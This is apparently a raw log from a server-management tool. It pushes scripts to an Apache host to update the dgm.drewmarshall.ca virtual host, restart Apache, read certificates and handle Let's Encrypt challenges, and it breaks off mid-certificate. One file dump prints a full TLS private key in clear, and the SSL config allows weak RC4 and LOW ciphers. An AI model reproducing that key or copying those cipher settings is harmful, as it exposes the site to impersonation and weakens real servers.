temp_file=$(mktemp)

show_file() {
	echo $BOUNDARY >> $temp_file
	if [ -f "$1" ]; then
		FILESIZE=$(stat -c%s "$1")
		echo $1	$FILESIZE >> $temp_file
		cat $1 >> $temp_file
	else
		echo $1	0 >> $temp_file
	fi
	echo >> $temp_file
}

show_file "/etc/apache2/sites-enabled/drewmarshall_dgm_ca.conf"

gzip -cn9 $temp_file
rm $temp_file

2025-08-30 06:03:57: 

chmod 755 /tmp/pkp133706; /tmp/pkp133706; rm /tmp/pkp133706

2025-08-30 06:03:57: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/drewmarshall_dgm_ca.conf 43

<VirtualHost *:80>
    ServerName	dgm.drewmarshall.ca
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/drewmarshall_dgm
    <Directory /var/www/drewmarshall_dgm>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/drewmarshall/dgm_access.log combined
    ErrorLog	/var/log/apache2/drewmarshall/dgm_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	dgm.drewmarshall.ca
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/a6135b8cd991ffd075dad22986ca2d2f.crt
    DocumentRoot	/var/www/drewmarshall_dgm
    <Directory /var/www/drewmarshall_dgm>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/drewmarshall/dgm_secure_access.log combined
    ErrorLog	/var/log/apache2/drewmarshall/dgm_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>






2025-08-30 06:03:57: 

PUT: /tmp/pkp489263

#!/bin/bash
temp_file=$(mktemp)
BASE=/etc/apache2
BASENAME=drewmarshall_dgm_ca.conf
TARGET=/etc/apache2/sites-enabled/drewmarshall_dgm_ca.conf
DOCROOT=-
PUBLIC=

cat > $temp_file <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'

<VirtualHost *:80>
    ServerName	dgm.drewmarshall.ca
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/drewmarshall_dgm
    <Directory /var/www/drewmarshall_dgm>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/drewmarshall/dgm_access.log combined
    ErrorLog	/var/log/apache2/drewmarshall/dgm_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	dgm.drewmarshall.ca
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/a6135b8cd991ffd075dad22986ca2d2f.crt
    DocumentRoot	/var/www/drewmarshall_dgm
    <Directory /var/www/drewmarshall_dgm>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/drewmarshall/dgm_secure_access.log combined
    ErrorLog	/var/log/apache2/drewmarshall/dgm_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>



----boundary-6506b6c63ab0478b95fb419cca0e56fb----

chmod 644 $temp_file

cd $BASE
cp -f $temp_file $TARGET
rm $temp_file
if [ $DOCROOT != "-" ]; then
	mkdir -p 
	mkdir -p $DOCROOT/$PUBLIC
	chown -R : $DOCROOT
	ln -s "..//etc/apache2/sites-enabled/drewmarshall_dgm_ca.conf" "$BASE/sites-enabled/$BASENAME" > /dev/null 2>&1
	echo 'link(/etc/apache2/sites-enabled/drewmarshall_dgm_ca.conf)= /etc/apache2//etc/apache2/sites-enabled/drewmarshall_dgm_ca.conf'
	echo 'file(/etc/apache2//etc/apache2/sites-enabled/drewmarshall_dgm_ca.conf= 1'
fi


2025-08-30 06:03:57: 

chmod 755 /tmp/pkp489263; /tmp/pkp489263; rm /tmp/pkp489263

2025-08-30 06:03:57: 




2025-08-30 06:03:57: 

PUT: /tmp/pkp894506

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl graceful
fi 
if [ -f "/usr/local/opt/httpd/bin/httpd" ]; then
	export HOMEBREW_NO_INSTALL_FROM_API=1
	brew services restart httpd

fi
echo .

2025-08-30 06:03:57: 

chmod 755 /tmp/pkp894506; /tmp/pkp894506; rm /tmp/pkp894506

2025-08-30 06:03:57: 


AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
.




STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message


2025-08-30 06:03:57: Establishing a connection
2025-08-30 06:03:57: 

PUT: /tmp/pkp685838

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl -S
fi
echo .

2025-08-30 06:03:57: 

chmod 755 /tmp/pkp685838; /tmp/pkp685838; rm /tmp/pkp685838

2025-08-30 06:03:57: 


VirtualHost configuration:
*:80                   is a NameVirtualHost
         default server 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost bucketgigs.ca (/etc/apache2/sites-enabled/bucketgigs_www_ca.conf:2)
                 alias www.bucketgigs.ca
         port 80 namevhost dgmarshall.ca (/etc/apache2/sites-enabled/dgmarshall_www_ca.conf:2)
                 alias www.dgmarshall.ca
         port 80 namevhost dgmarshall.com (/etc/apache2/sites-enabled/dgmarshall_www_com.conf:2)
                 alias www.dgmarshall.com
         port 80 namevhost audio.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_audio_ca.conf:2)
         port 80 namevhost caminoconfessions.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_caminoconfessions_ca.conf:2)
         port 80 namevhost datinggame.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_datinggame_ca.conf:2)
         port 80 namevhost dgm.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_dgm_ca.conf:2)
         port 80 namevhost preacheridol.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_preacheridol_ca.conf:2)
         port 80 namevhost soulsurvivor.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_soulsurvivor_ca.conf:2)
         port 80 namevhost drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_www_ca.conf:2)
                 alias www.drewmarshall.ca
         port 80 namevhost hillrunfarm.ca (/etc/apache2/sites-enabled/hillrunfarm_www_ca.conf:2)
                 alias www.hillrunfarm.ca
         port 80 namevhost ineedtosaythis.com (/etc/apache2/sites-enabled/ineedtosaythis_www_com.conf:2)
                 alias www.ineedtosaythis.com
         port 80 namevhost sosretreatscanada.com (/etc/apache2/sites-enabled/sosretreatscanada_www_com.conf:2)
                 alias sosretreats.ca
                 alias www.sosretreats.ca
                 alias www.sosretreatscanada.com
                 alias sosretreatscanada.ca
                 alias www.sosretreatscanada.ca
*:443                  is a NameVirtualHost
         default server bucketgigs.ca (/etc/apache2/sites-enabled/bucketgigs_www_ca.conf:23)
         port 443 namevhost bucketgigs.ca (/etc/apache2/sites-enabled/bucketgigs_www_ca.conf:23)
                 alias www.bucketgigs.ca
         port 443 namevhost dgmarshall.ca (/etc/apache2/sites-enabled/dgmarshall_www_ca.conf:23)
                 alias www.dgmarshall.ca
         port 443 namevhost dgmarshall.com (/etc/apache2/sites-enabled/dgmarshall_www_com.conf:23)
                 alias www.dgmarshall.com
         port 443 namevhost audio.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_audio_ca.conf:19)
         port 443 namevhost caminoconfessions.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_caminoconfessions_ca.conf:22)
         port 443 namevhost datinggame.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_datinggame_ca.conf:22)
         port 443 namevhost dgm.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_dgm_ca.conf:22)
         port 443 namevhost preacheridol.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_preacheridol_ca.conf:19)
         port 443 namevhost soulsurvivor.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_soulsurvivor_ca.conf:22)
         port 443 namevhost drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_www_ca.conf:20)
                 alias www.drewmarshall.ca
         port 443 namevhost hillrunfarm.ca (/etc/apache2/sites-enabled/hillrunfarm_www_ca.conf:23)
                 alias www.hillrunfarm.ca
         port 443 namevhost ineedtosaythis.com (/etc/apache2/sites-enabled/ineedtosaythis_www_com.conf:20)
                 alias www.ineedtosaythis.com
         port 443 namevhost sosretreatscanada.com (/etc/apache2/sites-enabled/sosretreatscanada_www_com.conf:25)
                 alias sosretreats.ca
                 alias www.sosretreats.ca
                 alias www.sosretreatscanada.com
                 alias sosretreatscanada.ca
                 alias www.sosretreatscanada.ca
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex ssl-stapling: using_defaults
Mutex ssl-cache: using_defaults
Mutex default: dir="/var/run/apache2/" mechanism=default 
Mutex mpm-accept: using_defaults
Mutex watchdog-callback: using_defaults
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_VHOSTS
Define: DUMP_RUN_CFG
User: name="www-data" id=33
Group: name="www-data" id=33
.




STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message


2025-08-30 06:03:57: 

PUT: /tmp/pkp868493

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/apache2/sites-enabled/drewmarshall_dgm_ca.conf')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2025-08-30 06:03:57: 

chmod 755 /tmp/pkp868493; /tmp/pkp868493; rm /tmp/pkp868493

2025-08-30 06:03:57: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/drewmarshall_dgm_ca.conf	1339

<VirtualHost *:80>
    ServerName	dgm.drewmarshall.ca
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/drewmarshall_dgm
    <Directory /var/www/drewmarshall_dgm>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/drewmarshall/dgm_access.log combined
    ErrorLog	/var/log/apache2/drewmarshall/dgm_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	dgm.drewmarshall.ca
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/a6135b8cd991ffd075dad22986ca2d2f.crt
    DocumentRoot	/var/www/drewmarshall_dgm
    <Directory /var/www/drewmarshall_dgm>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/drewmarshall/dgm_secure_access.log combined
    ErrorLog	/var/log/apache2/drewmarshall/dgm_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>







2025-08-30 06:03:57: 

PUT: /tmp/pkp507545

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/ssl/certs/a6135b8cd991ffd075dad22986ca2d2f.crt')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2025-08-30 06:03:57: 

chmod 755 /tmp/pkp507545; /tmp/pkp507545; rm /tmp/pkp507545

2025-08-30 06:03:58: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/ssl/certs/a6135b8cd991ffd075dad22986ca2d2f.crt	5357
a8:05:1d:7e:2f:d6:55:63:8d:98:63:92:db:66:19:c8

-----BEGIN CERTIFICATE-----
MIIFAjCCA+qgAwIBAgISBpLJ8JQjgnhcfNgxJURuIzeNMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTIwHhcNMjUwODMwMDUwNTI0WhcNMjUxMTI4MDUwNTIzWjAeMRwwGgYDVQQD
ExNkZ20uZHJld21hcnNoYWxsLmNhMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIB
CgKCAQEAqhj+680A8ar9/RSpbWLG62Z7nSK6PeOfREPAecL9hF6j6jI9mwKGQIrL
8itEZNTYwkKPybZRE+HMsG1/b/1EeykN6aakY1YkXdb93dx6sAuRIQAZtYojBjMw
WU2KgwjW4gZq5GQJYFPPOBFNiy/ZHAID87Hh9Zmz8pYvRKibOGNejoTBp1vSCTd8
ztUuGZE/j3gs8ZjxNAJJIID10Rc18jGxwosYWgnrTF7wVYyeB7bbOjWYP9eBOXW2
eGODDHYuZ+aCi3Xcdsw8x6gjHvy/pJ6A3nBi/S5VC+0BcwBTwyGQwokBqR4OU83c
sNQNMy9a+tylvabG7AV0JJb+eVa3OwIDAQABo4ICIzCCAh8wDgYDVR0PAQH/BAQD
AgWgMB0GA1UdJQQWMBQGCCsGAQUFBwMBBggrBgEFBQcDAjAMBgNVHRMBAf8EAjAA
MB0GA1UdDgQWBBSzr1w78sigtMGtUjFi48yCP80yLDAfBgNVHSMEGDAWgBQAtSny
LY5vMeibTK14Pvrc6QzR0jAzBggrBgEFBQcBAQQnMCUwIwYIKwYBBQUHMAKGF2h0
dHA6Ly9yMTIuaS5sZW5jci5vcmcvMB4GA1UdEQQXMBWCE2RnbS5kcmV3bWFyc2hh
bGwuY2EwEwYDVR0gBAwwCjAIBgZngQwBAgEwLgYDVR0fBCcwJTAjoCGgH4YdaHR0
cDovL3IxMi5jLmxlbmNyLm9yZy8xNC5jcmwwggEEBgorBgEEAdZ5AgQCBIH1BIHy
APAAdgCkQsUGSWBhVI8P1Oqc+3otJkVNh6l/L99FWfYnTzqEVAAAAZj5k0KXAAAE
AwBHMEUCIHqj6ag4Qy04W2VBVpzcVxDzRuGKsYdEbG5LNMSY928WAiEAnzXjOWDB
GvGDQ71T4xCFMiwlNlYyfK+7ciUjkfV0i2IAdgDM+w9qhXEJZf6Vm1PO6bJ8IumF
XA2XjbapflTA/kwNsAAAAZj5k0qJAAAEAwBHMEUCICUvtyAx+3bbNV7r4vCZgQJi
1aNFlDjAs2zHmraEnFn9AiEA3fM+ghzCWXNzHrBGDznulqSzgt+KMgQMYcYWGm5q
8OkwDQYJKoZIhvcNAQELBQADggEBAG+Uq/vxhOfk5h582GkkCSRRstTzEm0OnWhf
92tQwSjBWHkQ66BMhOBU3Z+JI8Vy8/IaQbbStkZE67QEc/cU1zPynWaAbQpDoifk
Oiu94AVxYJzdFs92bCYDHAFk3FlNEO4Qx6QJlaW72Ej81jPnLrt3jGxZeD3pr6P3
K9RjEm7WUsww+LQLhdTMaJMoPTR4r5uJ4a+haalTHBHBNBE6T8Bum+50S6F+Lp+x
uEIH6cOPeU19Qvq4Eq9SYWzdTRotxyPpbQ/EpXij6WdLjn6chQ6dWXcsBir5V83T
TGHm9qbX5XQuL8fm2YLe0d97uMShoA/QV6zkDzkdTLwrNCez88s=
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvQIBADANBgkqhkiG9w0BAQEFAASCBKcwggSjAgEAAoIBAQCqGP7rzQDxqv39
FKltYsbrZnudIro9459EQ8B5wv2EXqPqMj2bAoZAisvyK0Rk1NjCQo/JtlET4cyw
bX9v/UR7KQ3ppqRjViRd1v3d3HqwC5EhABm1iiMGMzBZTYqDCNbiBmrkZAlgU884
EU2LL9kcAgPzseH1mbPyli9EqJs4Y16OhMGnW9IJN3zO1S4ZkT+PeCzxmPE0Akkg
gPXRFzXyMbHCixhaCetMXvBVjJ4Htts6NZg/14E5dbZ4Y4MMdi5n5oKLddx2zDzH
qCMe/L+knoDecGL9LlUL7QFzAFPDIZDCiQGpHg5Tzdyw1A0zL1r63KW9psbsBXQk
lv55Vrc7AgMBAAECggEALRKOikE6XM9omiVdd+TSvRHc85h+LWQhkd86I4mtz+Oc
H7TMakTS+ktNG5CngOh9v4wPue2bsl8E9EMvn6dG/DO2whEsQj5TSKJthtqjj/6g
qFP0fAxsl3n898z6RRqUhjQZIwf3DBVpNXwwRg+Zwjguf+bE72WZL1DomZLr/pa3
oXpSEamHnNfspP8BaNHU+hFmTZAKuoBaoefW8ZigRORIyJC0qzcb6UZxqHyU6hPv
2ayqhlSrMHAXIRJBqmzQWQrJFSMy5l1L0heKDl3baVG9Ep5q+D5OrgAKwtZd+tlM
93YWZfza723SFn/pnOH1/vnapEGsAizWfrzYTK8OwQKBgQDSWUfG/PEOmkvPbqgM
Cb6vnENo4yb3iCpjFVAXmXxwsA8jrff17YyYEoUk4Ttf9vAl/EYpJ/ooGQk/Zkpv
RN7RNv4n0BVizhj5EcXe5x+8glhkCS0oQijX0P60Re+e1bh6egSOOwWgNvTbFJ9+
R+IaVL4HOlag4BpccN+P0/rzSwKBgQDPA2mukhHxL2vY0eWhjGYgkKsxdAnHRuhN
ykrFXxao35hQge8w/VAU7EapTKjJNw/bKaS4qvd6IZWKirErLdS04BQL1jtL94jd
iCLF2xyFjINm2/4Cd6nm1VoFUDE23r0WJ3OWuFCcZYqWwmpGQvXw0yvzeyRGL2c8
NUYsUPzl0QKBgQCJX/eJlI4WHFzgdwNXAVJAvEwmBxve01XjafrpvrrPmZv5kFd9
jIuikY3U/Sfaz5odJLnpjQtJ/rfUaQi5zH+8oS6xb6tX4QPcPmg84DMQ2QvDIV8V
iMfF0t9Vess4r5mQm3m4LgHJlbqqDbjwLyASVD/a1pXW8SUmNC09cJLXKwKBgGxV
s+PIy5z1nTHtvoeJixS1wPFzcX6ZLA8xs2mQ9rHPuc1AAmYX2uXoNJ564MXUi/a8
11hRGIwQsUq8hDU9mdhCgBsltQhvdW/Bw7jZjxaQz19v94FhEEgeFSs8qVS2wiuq
38HbmUwPk7SL78PvXPf3+0NDiVs1iYgntR6SD5dRAoGAdsGF7qdvrOwqlSS0MZWv
u3kaU24hkzwrWMHzNW6NBLK32bje0c6TwdviOejQY3OwYG0fSSJDkSu7LSYHw7AO
bf6uNbxsZB0r4bFMHAKmWS4p+PM4T5U9R0GEOuraCzpz1LOCS8B3wR0DZyybEAig
z1907R6cfJCUuDV4ZnxuJ/c=
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBjCCAu6gAwIBAgIRAMISMktwqbSRcdxA9+KFJjwwDQYJKoZIhvcNAQELBQAw
TzELMAkGA1UEBhMCVVMxKTAnBgNVBAoTIEludGVybmV0IFNlY3VyaXR5IFJlc2Vh
cmNoIEdyb3VwMRUwEwYDVQQDEwxJU1JHIFJvb3QgWDEwHhcNMjQwMzEzMDAwMDAw
WhcNMjcwMzEyMjM1OTU5WjAzMQswCQYDVQQGEwJVUzEWMBQGA1UEChMNTGV0J3Mg
RW5jcnlwdDEMMAoGA1UEAxMDUjEyMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIB
CgKCAQEA2pgodK2+lP474B7i5Ut1qywSf+2nAzJ+Npfs6DGPpRONC5kuHs0BUT1M
5ShuCVUxqqUiXXL0LQfCTUA83wEjuXg39RplMjTmhnGdBO+ECFu9AhqZ66YBAJpz
kG2Pogeg0JfT2kVhgTU9FPnEwF9q3AuWGrCf4yrqvSrWmMebcas7dA8827JgvlpL
Thjp2ypzXIlhZZ7+7Tymy05v5J75AEaz/xlNKmOzjmbGGIVwx1Blbzt05UiDDwhY
XS0jnV6j/ujbAKHS9OMZTfLuevYnnuXNnC2i8n+cF63vEzc50bTILEHWhsDp7CH4
WRt/uTp8n1wBnWIEwii9Cq08yhDsGwIDAQABo4H4MIH1MA4GA1UdDwEB/wQEAwIB
hjAdBgNVHSUEFjAUBggrBgEFBQcDAgYIKwYBBQUHAwEwEgYDVR0TAQH/BAgwBgEB
/wIBADAdBgNVHQ4EFgQUALUp8i2ObzHom0yteD763OkM0dIwHwYDVR0jBBgwFoAU
ebRZ5nu25eQBc4AIiMgaWPbpm24wMgYIKwYBBQUHAQEEJjAkMCIGCCsGAQUFBzAC
hhZodHRwOi8veDEuaS5sZW5jci5vcmcvMBMGA1UdIAQMMAowCAYGZ4EMAQIBMCcG
A1UdHwQgMB4wHKAaoBiGFmh0dHA6Ly94MS5jLmxlbmNyLm9yZy8wDQYJKoZIhvcN
AQELBQADggIBAI910AnPanZIZTKS3rVEyIV29BWEjAK/duuz8eL5boSoVpHhkkv3
4eoAeEiPdZLj5EZ7G2ArIK+gzhTlRQ1q4FKGpPPaFBSpqV/xbUb5UlAXQOnkHn3m
FVj+qYv87/WeY+Bm4sN3Ox8BhyaU7UAQ3LeZ7N1X01xxQe4wIAAE3JVLUCiHmZL+
qoCUtgYIFPgcg350QMUIWgxPXNGEncT921ne7nluI02V8pLUmClqXOsCwULw+PVO
ZCB7qOMxxMBoCUeL2Ll4oMpOSr5pJCpLN3tRA2s6P1KLs9TSrVhOk+7LX28NMUlI
usQ/nxLJID0RhAeFtPjyOCOscQBA53+NRjSCak7P4A5jX7ppmkcJECL+S0i3kXVU
y5Me5BbrU8973jZNv/ax6+ZK6TM8jWmimL6of6OrX7ZU6E2WqazzsFrLG3o2kySb
zlhSgJ81Cl4tv3SbYiYXnJExKQvzf83DYotox3f0fwv7xln1A2ZLplCb0O+l/AK0
YE0DS2FPxSAHi0iwMfW2nNHJrXcY3LLHD77gRgje4Eveubi2xxa+Nmk/hmhLdIET
iVDFanoCrMVIpQ59XWHkzdFmoHXHBV7oibVjGSO7ULSQ7MJ1Nz51phuDJSgAIU7A
0zrLnOrAj/dfrlEWRhCvAgbuwLZX1A2sjNjXoPOHbsPiy+lO1KF8/XY7
-----END CERTIFICATE-----






2025-09-01 06:00:02: Establishing a connection
2025-09-01 06:00:02: Establishing a connection
2025-09-01 06:00:02: 

PUT: /tmp/pkp471887

#!/bin/bash
if [ -d "/var/www/drewmarshall_caminoconfessions/.well-known" ]; then
    echo 1
else
    echo 0
fi


2025-09-01 06:00:04: 

chmod 755 /tmp/pkp471887; /tmp/pkp471887; rm /tmp/pkp471887

2025-09-01 06:00:04: 


1


2025-09-01 06:00:05: Establishing a connection
2025-09-01 06:00:05: 

PUT: /tmp/pkp102723

#!/bin/bash
mkdir -p "/var/www/drewmarshall_caminoconfessions/.well-known/acme-challenge/"
cd "/var/www/drewmarshall_caminoconfessions/.well-known/acme-challenge/"
cat > P1-w2qIxv6jsUmTzUEG44VVG6XocAQpjtlEVjMyJB9w <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
P1-w2qIxv6jsUmTzUEG44VVG6XocAQpjtlEVjMyJB9w.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 P1-w2qIxv6jsUmTzUEG44VVG6XocAQpjtlEVjMyJB9w


2025-09-01 06:00:05: 

chmod 755 /tmp/pkp102723; /tmp/pkp102723; rm /tmp/pkp102723

2025-09-01 06:00:06: 




2025-09-01 06:00:11: Establishing a connection
2025-09-01 06:00:11: 

PUT: /tmp/pkp985056

#!/bin/bash
mkdir -p "/var/www/drewmarshall_caminoconfessions/.well-known/acme-challenge/"
cd "/var/www/drewmarshall_caminoconfessions/.well-known/acme-challenge/"
rm P1-w2qIxv6jsUmTzUEG44VVG6XocAQpjtlEVjMyJB9w


2025-09-01 06:00:11: 

chmod 755 /tmp/pkp985056; /tmp/pkp985056; rm /tmp/pkp985056

2025-09-01 06:00:11: 




2025-09-01 06:00:11: Establishing a connection
2025-09-01 06:00:11: 

PUT: /tmp/pkp318614

#!/bin/bash
temp_file=$(mktemp)
TARGET=0d4c12a0a7fdfe4c1c8d0a1e449bbfe7.crt

cat > $temp_file <<'endmsg'
9f:4d:16:fb:46:1f:f0:e8:48:a8:24:6c:2c:d3:f2:de

-----BEGIN CERTIFICATE-----
MIIFHTCCBAWgAwIBAgISBZ3akOgSYlDXthGbtOXK83cOMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTIwHhcNMjUwOTAxMDUwMTQwWhcNMjUxMTMwMDUwMTM5WjAsMSowKAYDVQQD
EyFjYW1pbm9jb25mZXNzaW9ucy5kcmV3bWFyc2hhbGwuY2EwggEiMA0GCSqGSIb3
DQEBAQUAA4IBDwAwggEKAoIBAQDuxx8+TsxQYTVdQW0Uu/X+Nfyem5mo3t5a8uLe
XSWrKKoDom1EYkRsLYr8Wu+uUTnH3QQ4vQqx2Wd1m3gdbA4dnR3gyvllvEjHv0lt
dOhH9BJ73uUDVxivxax1+2TlwmPJz7HDl5BwouiGx6RDH8dEuRmF7CWaxdPYL/HL
I87G8l59meR5uQM55+2G+yDOgX3M8AX4GAgvAnkL3426e5KDcZYgQ0pOoGIv+1ae
Rzk+POVSnM+RgJnoc0UVt3TsuuqBLBcSTVxKP78GruWBET3a1WbE/YiTvEO7vvZA
MUPmP7ecFxmwXY0bU+N4zo8tLNr7hZkTqHaIbMuw7UXZ/dfjAgMBAAGjggIwMIIC
LDAOBgNVHQ8BAf8EBAMCBaAwHQYDVR0lBBYwFAYIKwYBBQUHAwEGCCsGAQUFBwMC
MAwGA1UdEwEB/wQCMAAwHQYDVR0OBBYEFD8pCRlZTxABek69KybiQjdXVtE+MB8G
A1UdIwQYMBaAFAC1KfItjm8x6JtMrXg++tzpDNHSMDMGCCsGAQUFBwEBBCcwJTAj
BggrBgEFBQcwAoYXaHR0cDovL3IxMi5pLmxlbmNyLm9yZy8wLAYDVR0RBCUwI4Ih
Y2FtaW5vY29uZmVzc2lvbnMuZHJld21hcnNoYWxsLmNhMBMGA1UdIAQMMAowCAYG
Z4EMAQIBMC4GA1UdHwQnMCUwI6AhoB+GHWh0dHA6Ly9yMTIuYy5sZW5jci5vcmcv
MTUuY3JsMIIBAwYKKwYBBAHWeQIEAgSB9ASB8QDvAHUA7TxL1ugGwqSiAFfbyyTi
OAHfUS/txIbFcA8g3bc+P+AAAAGZA9yRJQAABAMARjBEAiB8qYQWxiBL7ZWvKIRn
ZCAgOZHIbnY6KCH7WHmKSJhUUQIgaeY4CqNu1ygQ1G65DexMtH4xPra2TiDs7zgw
G8cPnPoAdgAN4fIwK9MNwUBiEgnqVS78R3R8sdfpMO8OQh60fk6qNAAAAZkD3JEk
AAAEAwBHMEUCIQDxQui2L1mKnwnlyR+lI85Q4HZt0dm7OTn8gaKuGvWMmgIgStxu
JKZhXsgKPFyLCr8KGWXKJQ4Nqn3+NcxLUTRPHZowDQYJKoZIhvcNAQELBQADggEB
ADvOAtwHXj/jqAyfgNQ1Ztq6VSNEoINaO/cWV5SL9QZi8WU4cJD0C6sRvlEtx+JW
